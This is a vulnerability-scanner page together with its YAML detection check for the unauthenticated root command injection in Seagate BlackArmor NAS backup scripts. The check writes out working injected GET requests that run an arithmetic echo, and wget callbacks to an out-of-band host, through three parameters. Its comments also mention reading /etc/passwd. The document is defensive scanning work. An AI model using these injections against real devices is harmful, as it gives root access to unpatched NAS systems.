Seagate BlackArmor — 1 vulnerability check
noctis ships 1 vulnerability check for Seagate BlackArmor, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Seagate BlackArmor NAS backupmgt Unauthenticated Root Command Injection
| CVE | CVE-2013-6922, CVE-2013-6923, CVE-2013-6924, CVE-2014-3206 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/seagate-blackarmor/seagate-blackarmor-backupmgt-rce.yaml |
Detects the unauthenticated root OS command injection in the backup-management PHP scripts of Seagate BlackArmor NAS devices (/backupmgt/killProcess.php session parameter; plus localJob.php session and pre_connect_check.php auth_name when OOB is configured). Confirmation is keyed on benign per-run proofs: a shell-evaluated arithmetic echo (NOCTIS<a+b>) in the reply, or an injected wget fetching a per-run OOB URL whose token only a shell can rebuild. Seagate never released a fix.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /backupmgt/killProcess.php?session=false;echo%20NOCTIS%24%28%28{{ba.a}}%2B{{ba.b}}%29… - Checks
kill_resp.bodyforNOCTIS[0-9]+→ finding QoD 97: Seagate BlackArmor root command injection confirmed via /backupmgt/killProcess.php?session=: a shell evaluated the per-run arithmetic echo … - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /backupmgt/killProcess.php?session=false;wget%20-q%20-O%20/dev/null%20http://{{oob_ho… - HTTP(S) request
GET /backupmgt/localJob.php?session=fail;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}… - HTTP(S) request
GET /backupmgt/pre_connect_check.php?auth_name=fail;wget%20-q%20-O%20/dev/null%20http://{… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Seagate BlackArmor root command injection confirmed: a wget injected into /backupmgt/ (killProcess.php / localJob.php session, pre_connect_…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-6922
- https://nvd.nist.gov/vuln/detail/CVE-2013-6923
- https://nvd.nist.gov/vuln/detail/CVE-2013-6924
- https://nvd.nist.gov/vuln/detail/CVE-2014-3206
- http://www.nerdbox.it/seagate-nas-multiple-vulnerabilities/
- https://www.exploit-db.com/exploits/33159
Feed source — tests/vulnerabilities/seagate-blackarmor/seagate-blackarmor-backupmgt-rce.yaml
# Seagate BlackArmor NAS — unauthenticated root command injection in /backupmgt/
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_seagate_blackarmor_multiple_vulns.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103867, GPL-2.0-only), which reports the device's
# "multiple vulnerabilities" advisory (nerdbox.it, Dec 2013) under CVE-2013-6922
# (CSRF), CVE-2013-6923 (XSS) and CVE-2013-6924. Its only active check — and the
# one this feed ports — is the root command injection in killProcess.php. The feed
# keeps the NASL's three IDs as tracking IDs and adds CVE-2014-3206, the record for
# the localJob.php `session` / pre_connect_check.php `auth_name` injections that
# the OOB branch also exploits.
#
# Every BlackArmor NAS (110/220/400/440, all firmware; Seagate declined to fix)
# runs its PHP backup-management scripts as root and pastes GET parameters into a
# shell command line, unauthenticated:
# /backupmgt/killProcess.php session= (the NASL's probe)
# /backupmgt/localJob.php session= exec("cat $immedLog | grep $session | ...")
# /backupmgt/pre_connect_check.php auth_name= exec("rsync ... $auth_name@$ip::$alias")
# (the last two: CVE-2014-3206, EDB-33159, Feb 2014). A trailing `;#` comments out the rest of
# the command line.
#
# Detection — benign proofs only, nothing written, read or persisted:
# 1. In-band (QoD 97): the NASL request with its id / cat /etc/passwd swapped for
# `echo NOCTIS$((<a>+<b>))` (a, b = per-run random 6-digit ints). Only a real
# shell evaluates the arithmetic into NOCTIS<a+b>; the sum never appears in
# the request, so a page reflecting the session value (even through a filter
# that strips `$`, `(`, `)`, `+`) cannot produce it.
# 2. Blind OOB (QoD 97, only when OOB is configured): `wget -q -O /dev/null
# http://<oob>/<tok-a>$()<tok-b>` injected into all three sinks. The token is
# split by an empty $() so only a shell rebuilds the callback path; a proxy or
# IDS fetching URLs seen in the request hits a wrong path. Output goes to
# /dev/null.
#
# Beyond the NASL:
# - The NASL needs the command output in the killProcess.php reply. localJob.php
# and pre_connect_check.php run the injected command through exec() and print
# nothing, so the NASL cannot see them, nor a killProcess.php build that does
# not echo the output; the OOB branch confirms all three blind.
# - The NASL needs a prior BlackArmor fingerprint (gb_seagate_blackarmor_nas_detect);
# this feed probes the fixed script path directly on every http/https port.
# - The NASL sends a raw `#` in the request line (a fragment marker that HTTP
# clients and proxies may cut off); the feed sends it as %23, which PHP decodes
# back to `#` in $_GET.
# - id / cat /etc/passwd are replaced by the inert arithmetic echo (no file read).
uid: 29674fae-6b57-4400-85f3-dbae53fb21fe
name: "Seagate BlackArmor NAS backupmgt Unauthenticated Root Command Injection"
description: |
Detects the unauthenticated root OS command injection in the backup-management PHP
scripts of Seagate BlackArmor NAS devices (/backupmgt/killProcess.php session
parameter; plus localJob.php session and pre_connect_check.php auth_name when OOB is
configured). Confirmation is keyed on benign per-run proofs: a shell-evaluated
arithmetic echo (NOCTIS<a+b>) in the reply, or an injected wget fetching a per-run OOB
URL whose token only a shell can rebuild. Seagate never released a fix.
cves: [CVE-2013-6922, CVE-2013-6923, CVE-2013-6924, CVE-2014-3206]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [seagate, blackarmor, nas, command-injection, rce, root, oob, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-6922"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-6923"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-6924"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3206"
- "http://www.nerdbox.it/seagate-nas-multiple-vulnerabilities/"
- "https://www.exploit-db.com/exploits/33159"
- "OpenVAS/Greenbone NASL 2014/gb_seagate_blackarmor_multiple_vulns.nasl (GPL-2.0-only)"
steps:
# Per-run operands; marker = NOCTIS<a+b>.
- id: gen-tokens
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, marker: "NOCTIS" + (a + b) }
store_as: ba
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-kill-resp
action: set_var
var_name: kill_resp
var_value: {status: 0, body: null}
# ── 1. In-band: NASL request, command = echo NOCTIS$((a+b)) ──────────────
# %20 = space %24%28%28 = $(( %2B = + %29%29 = )) %23 = #
- id: inject-killprocess
action: http_request
method: GET
port: "{{port}}"
path: "/backupmgt/killProcess.php?session=false;echo%20NOCTIS%24%28%28{{ba.a}}%2B{{ba.b}}%29%29;%20%23"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: kill_resp
- id: confirm-inband
action: match
source: kill_resp.body
pattern: "NOCTIS[0-9]+"
condition: "kill_resp.status == 200 && type_of(kill_resp.body) == \"string\" && stridx(kill_resp.body, ba.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Seagate BlackArmor root command injection confirmed via /backupmgt/killProcess.php?session=: a shell evaluated the per-run arithmetic echo NOCTIS$(({{ba.a}}+{{ba.b}})) into {{ba.marker}}"
stop: true
# ── 2. Blind OOB: wget a $()-split per-run URL from each sink ─────────────
# Skipped when killProcess.php is absent (404): an ordinary web server gets
# one request instead of four plus a 20 s callback wait. A failed request
# keeps the pre-initialised status 0 and still goes on.
- id: split-oob-token
action: script
condition: "oob_enabled && kill_resp.status != 404"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: oob-killprocess
action: http_request
method: GET
port: "{{port}}"
condition: "oob_enabled && kill_resp.status != 404"
path: "/backupmgt/killProcess.php?session=false;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}};%20%23"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_kill
- id: oob-localjob
action: http_request
method: GET
port: "{{port}}"
condition: "oob_enabled && kill_resp.status != 404"
path: "/backupmgt/localJob.php?session=fail;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}};%20%23"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_local
- id: oob-preconnect
action: http_request
method: GET
port: "{{port}}"
condition: "oob_enabled && kill_resp.status != 404"
path: "/backupmgt/pre_connect_check.php?auth_name=fail;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}};%20%23&server_ip=127.0.0.1&alias_name=x"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_pre
# The OOB token is per run, not per sink, so the evidence cannot name which
# script triggered the callback.
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && kill_resp.status != 404"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Seagate BlackArmor root command injection confirmed: a wget injected into /backupmgt/ (killProcess.php / localJob.php session, pre_connect_check.php auth_name) fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received)"
stop: true